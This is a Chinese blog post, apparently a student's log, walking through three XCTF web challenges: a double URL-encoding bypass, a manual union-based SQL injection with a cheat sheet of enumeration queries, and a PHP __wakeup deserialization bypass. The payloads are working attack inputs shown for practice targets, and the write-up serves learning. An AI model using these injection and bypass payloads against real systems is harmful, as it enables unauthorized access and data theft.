2020-12-16 xctf刷题记录

原创

G0t1t 于 2020-12-16 22:57:47 发布 87 收藏

分类专栏： ctf刷题记录

本文链接：https://blog.csdn.net/m0_49503725/article/details/111304733

前两天因为要准备考试，所以一不小心就给咕咕咕了Orz

今天进度也不怎么样

越来越担心完成不了任务了

但是今天的三道题又学会了新东西，还重新复习了之前学习的手工sql注入

PHP2

用dirsearch扫目录，发现了index.php

这里考查了第一个生僻知识点：**phps文件就是php的源代码文件，通常用于提供给用户（访问者）直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容，所以需要用phps文件代替**

于是访问/index.phps，查看源码

```
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?
```

“admin”===$_GET[id] 为False

$_GET[id] == “admin” 为True

才可以输出flag

这里考察第二个知识点是二次编码绕过

> - 当传入参数id时，浏览器在后面会对非ASCII码的字符（比如中文）进行一次urlencode
> 然后if(“admin”===$_GET[id]) {
> echo(“
> not allowed!
> ”);
> exit();
> }这段代码运行时，会自动进行一次urldecode
> 在urldecode()函数中，再一次进行一次解码

因此构造 `payload:?id=%2561dmin`
不过一定一定要注意要返回**index.php**
完整payload

```
index.php?id=%2561dmin
```

NewsCenter

这个题有用sqlmap和手工注入两种解法，但是我的sqlmap用得还不够熟，所以先挖个坑（等考试周过完补）
先记录手工注入的解法

```
and 1=1
```

```
and 1=2
```

```
以上均正常且无回显 说明存在注入
```

```
'
报错 说明为字符型注入
```

```
'#
正常且有回显 说明为单引号闭合
```

```
' order by 1#
正常且有回显
```

```
' order by 2#
正常且有回显
```

```
' order by 3#
正常且有回显
```

```
' order by 4#
报错 说明注入点在3，有3列
```

```
查库名
' and 1=2 union select 1,2,database()# 库名为news
```

```
查表名
' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='news'#
表名为secret_table
```

```
查列名
' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='secret_table'#
列名为fl4g,id,猜测flag应该在fl4g这一列中
```

查字段

```
' and 1=2 union select 1,2,fl4g from secret_table#
```

得到flag

注意用union查询库名，表名，列名和字段名时，前面的语句要闭合，且不能被执行

> **一些常用的sql注入语句**
> 查库select schema_name from information_schema.schemata
> 查表select table_name from information_schema.tables where table_schema=''
> 查列 select column_name from information_schema.columns where table_name=''
> 查字段 select 列名，列名from 库名.表名
> limit a,b (a表示从a+1个数据库开始，b表示从查多少个)
> 查询各种权限的用户： select user()
> select system_user()
> select current_user()
> 查询当前数据库名称： select database()
> 查询数据库版本: select version()
> 查询数据库路径：select @@datadir
> 查询操作系统：select @@version_compile_os

unserialize3

首先补全源码

```
<?php
class xctf{  //类
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
?code=
```

> __wakeup 经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。
> 所以猜测传入参数的字符串肯定要被反序列化

将上面这个补全的php脚本去运行一下会得到flag的序列化字符串

```
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
```

此时思路就清晰了
这道题考查反序列化__wakeup()函数漏洞利用：**当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。**
把上面的序列化字符串直接传参给code会被__wakeup()函数再次序列化，所以要绕过

这时我们要对序列化字符串的结构有所认识

> O:< length >:"< class name >":< n >:{< field name 1 >< field value 1 >…< field name n >< field value n >}

O:表示序列化的事对象
< length >:表示序列化的类名称长度
< class name >：表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1 >：属性名
< field value 1 >：属性值

所以我们要将< n >的值改为2或以上
构造payload即可

好啦，就整理到这里啦，还有论文要肝呜呜呜，冲冲冲！